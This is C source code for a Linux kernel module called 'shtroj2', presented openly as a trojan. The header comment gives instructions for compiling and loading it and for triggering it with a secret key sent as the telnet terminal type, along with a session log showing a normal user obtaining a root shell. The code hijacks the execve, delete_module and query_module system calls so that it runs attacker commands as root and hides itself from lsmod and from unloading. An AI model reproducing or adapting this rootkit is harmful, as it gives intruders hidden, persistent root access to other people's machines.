/* shtroj2.c by J.B. Lesage  <Sorcerer@root.com.cn>
  
  to load, set KEY to any password you like (KEY is a few lines down from here)
  compile with `cc -O9 -c shtroj2.c -o shtroj2.o`
  load with `insmod shtroj2.o`
  module will auto-hide and watch for TERM=KEY environment variables
 
  to use the trojan, configure your telnet client to send KEY:exe:arg0:arg1
  as the terminal type.  for example, ~p9q#rr5:/bin/sh will run sh
  ~p9q#rr5:/bin/ls:ls:-l:/ will run "ls -l /"
  the trojan can also be used to gain root from a normal uid, like this
Sat Jun  9 14:31:45 Sorcerer@nijen:~ id
uid=1000(Sorcerer) gid=1000(Sorcerer) groups=1000(Sorcerer)
Sat Jun  9 14:32:00 Sorcerer@nijen:~ export TERM="~p9q#rr5:/bin/sh"
Sat Jun  9 14:32:01 Sorcerer@nijen:~ exec su
sh-2.03# id
uid=0(gem) gid=0(gem) groups=1000(Sorcerer)
 
 to unhide the module for removal, use the format TERM=KEY:KEY

sh-2.03# lsmod
Module                  Size  Used by
sh-2.03# export TERM="~p9q#rr5:~p9q#rr5"
sh-2.03# lsmod
sh: /bin/lsmod: Identifier removed
sh-2.03# export TERM=linux
sh-2.03# lsmod
Module                  Size  Used by
shtroj2                 2368   0  (unused)
 
 */

#define KEY "~p9q#rr5" // ~p9q#rr5 is the default/example key
#define MODULE_NAME "shtroj2" // if you use another name, change this to it
// if you set MODULE_NAME, but it's not the name that the module is loaded as,
// the system will crash.  undef MODULE_NAME for no hiding

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/file.h>

#include <asm/module.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>

#ifdef __SMP__
#include <linux/smp_lock.h>
#endif


#ifndef sys_call_table
extern void *sys_call_table[];
#endif

#define api_4(a,b,c,d) ({int r;asm volatile("int $128":"=a"(r):"a"(a),"b"(b),"c"(c),"d"(d));r;})
#define execve(program,arglist,envlist) api_4(11,program,arglist,envlist)

int (*__old_execve__)(char *,char **,char **);
static int (*__old_delete_module__)(const char *name);
static int (*__old_query_module__)(const char *name, int which,
				   void *buf, size_t bufsize, size_t *ret);
int __new_execve__(char *exe,char **argv,char **envp) {
   
   asm volatile("pushf;pusha;");

     {
	char *env[64];
	int envc=0;
	
	while (!copy_from_user(&env[envc],&envp[envc],4)) {
	   if (!env[envc++]) break;
	   if (envc==sizeof(env)>>2) break;
	}
	env[(sizeof(env)>>2)-1]=(void *)0;
	
	if (envc) envc--;
	
	if (envc) {
	   char buf[1024-sizeof(env)];
	   int envn=0,len;
	   
	   while (envn<envc)
	     if ((len=strncpy_from_user(buf,env[envn++],sizeof(buf)))
		 >sizeof(KEY)) {
		char *s=buf,nc;
		
		while ((nc=*s++)) if (nc=='=') break;
		if (!nc) continue;
		
		s[-1]=0;
		if (strcmp(buf,"TERM")) continue;
		
		  {
		     char *key=s;
		     
		     while ((nc=*s++)) if (nc==':') break;
		     if (!nc) continue;
		
		     if (!*s) break;
		     
		     s[-1]=0;
		     if (strcmp(key,KEY)) continue;
		     
#ifdef MODULE_NAME   
		     if (!strcmp(s,KEY)) {
			sys_call_table[__NR_delete_module]=__old_delete_module__;
			sys_call_table[__NR_query_module]=__old_query_module__;
			return(-EIDRM);
		     }
#endif		     
		  }
		
		set_fs(KERNEL_DS);
		
		  {
		     char *_exe=s,*_argv[16],*_envp[]={"TERM=linux",NULL};
		     int _argc=0;
		     
		     while ((nc=*s++))
		       if (nc==':') {
			  s[-1]=0;
			  _argv[_argc++]=s;
			  if (_argc==((sizeof(_argv)>>2)-1)) break;
		       }
		     
		     if (!_argc) {
			_argc=1;
			_argv[0]=_exe;
		     }
		     
		     _argv[_argc]=(void *)0;
		     
		     if (*_exe) {
			int old_uid=current->uid,
			  old_gid=current->gid,
			  old_euid=current->euid,
			  old_egid=current->egid;
			
			current->uid=0;
			current->gid=0;
			current->euid=0;
			current->egid=0;
			
			set_fs(KERNEL_DS);
			execve(_exe,_argv,_envp);
			set_fs(USER_DS);
			
			current->uid=old_uid;
			current->gid=old_gid;
			current->euid=old_euid;
			current->egid=old_egid;
			
		     }
		     
		  }
	     }
	}
     }
	   
   asm volatile("popa;popf;movl %ebp,%esp;popl %ebp;jmp *(__old_execve__)");
}

#ifdef MODULE_NAME

int __new_delete_module__(const char *name) {
   
     {
	char *pathbuf=getname(name);
	
	if (!IS_ERR(pathbuf)) {
	   
	   if (!strcmp(pathbuf,MODULE_NAME)) {
	      putname(pathbuf);
	      return(-ENOENT);
	   }
	   
	   putname(pathbuf);
	}
     }
   
   return(__old_delete_module__(name));
}

int __new_query_module__(const char *name, int which,
			 void *buf, size_t bufsize, size_t *ret) {
   
   int r;
   
     {
	char *pathbuf=getname(name);
	
	if (!IS_ERR(pathbuf)) {
	   
	   if (!strcmp(pathbuf,MODULE_NAME)) {
	      putname(pathbuf);
	      return(-ENOENT);
	   }
	   
	   putname(pathbuf);
	}
     }

   if (!(r=__old_query_module__(name,which,buf,bufsize,ret)))
     if (which==QM_MODULES) {
	int modnum=0,modcount;
	char *p=buf,*namepos=NULL;
	
	if (copy_from_user(&modcount,ret,sizeof(modcount))) return(r);
	
	while (modnum++<modcount) {
	   char modname[256];
	   
	   if (strncpy_from_user(modname,p,sizeof(modname))<1)
	     return(r);
	   modname[sizeof(modname)-1]=0;
	   if (!strcmp(modname,MODULE_NAME)) {
	      namepos=p;
	      break;
	   }
	   p+=strlen(modname)+1;
	}
	
	if (namepos) {
	   modcount--;
	   if (copy_to_user(ret,&modcount,sizeof(modcount))) return(r);
	   modcount=(modcount-modnum)+1;
	   p+=7;
	   while(modcount) {
	      char modname[256];
	      int n;
	      
	      if ((n=strncpy_from_user(modname,p,sizeof(modname)))<1)
		return(r);
	      n++;
	      if (copy_to_user(namepos,modname,n))
		return(r);
	      namepos++;
	      p++;
	   }
	   
	}  
     }
   return(r);
}

#endif

int init_module(void) {
   __old_execve__=sys_call_table[__NR_execve];
   sys_call_table[__NR_execve]=__new_execve__;
#ifdef MODULE_NAME
   __old_delete_module__=sys_call_table[__NR_delete_module];
   sys_call_table[__NR_delete_module]=__new_delete_module__;
   __old_query_module__=sys_call_table[__NR_query_module];
   sys_call_table[__NR_query_module]=__new_query_module__;
#endif
   return(0);
}

void cleanup_module(void) {
   sys_call_table[__NR_execve]=__old_execve__;
#ifdef MODULE_NAME
   sys_call_table[__NR_delete_module]=__old_delete_module__;
   sys_call_table[__NR_query_module]=__new_query_module__;
#endif
}